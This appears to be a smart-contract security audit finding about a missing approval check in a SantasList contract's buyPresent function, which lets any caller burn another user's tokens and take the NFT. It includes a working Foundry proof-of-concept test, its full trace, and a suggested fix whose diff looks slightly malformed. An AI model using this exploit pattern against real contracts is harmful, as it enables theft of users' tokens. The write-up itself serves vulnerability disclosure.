Summary
No approve
check in the SantasList::buyPresent
function in the SantasList.sol
contract.This allows anyone to use other users' tokens and receive NFTs at their address.
Vulnerability Details
The vulnerability is in the SantasList::buyPresent
function in the SantasList.sol
contract starting at line 172.
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
Tokens are burned at presentReceiver
and NFT receives msg.sender
Impact
An attacker can call the buyPresent()
function and specify in presentReceiver
any address of a user who has enough tokens to complete a transaction. In this way, the attacker gets the NFT at the expense of the presentReceiver
tokens.
Tools Used
forge
Recommendations
Working Test Case
The next test calls the attacker and specifies the address of the victim who has the right number of tokens to perform the transaction.
When executed, this test will pass, demonstrating that the attacker can obtain NFTs at the expense of any user.
function testBuyPresent() public {
vm.prank(address(santasList));
santaToken.mint(victim);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(attacker);
assertEq(santaToken.balanceOf(victim), 1e18);
santasList.buyPresent(victim);
assertEq(santaToken.balanceOf(victim), 0);
assertEq(santasList.balanceOf(attacker), 1);
}
Run the test:
forge test --mt testBuyPresent -vvvv
Which yields the following output:
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testBuyPresent() (gas: 107802)
Traces:
[112015] SantasListTest::testBuyPresent()
├─ [0] VM::prank(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69])
│ └─ ← ()
├─ [46713] SantaToken::mint(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], amount: 1000000000000000000 [1e18])
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [58439] SantasList::buyPresent(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ ├─ [2348] SantaToken::burn(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ │ ├─ emit Transfer(from: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 0)
│ └─ ← ()
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 0
├─ [678] SantasList::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← 1
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.17ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
function buyPresent(address presentReceiver) external {
+ if (
+ i_santaToken.allowance(presentReceiver, msg.sender) ==
+ PURCHASED_PRESENT_COST ||
+ presentReceiver == msg.sender
) {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
+ } else {
+ revert SantaToken__NotEnoughTokens();
}
}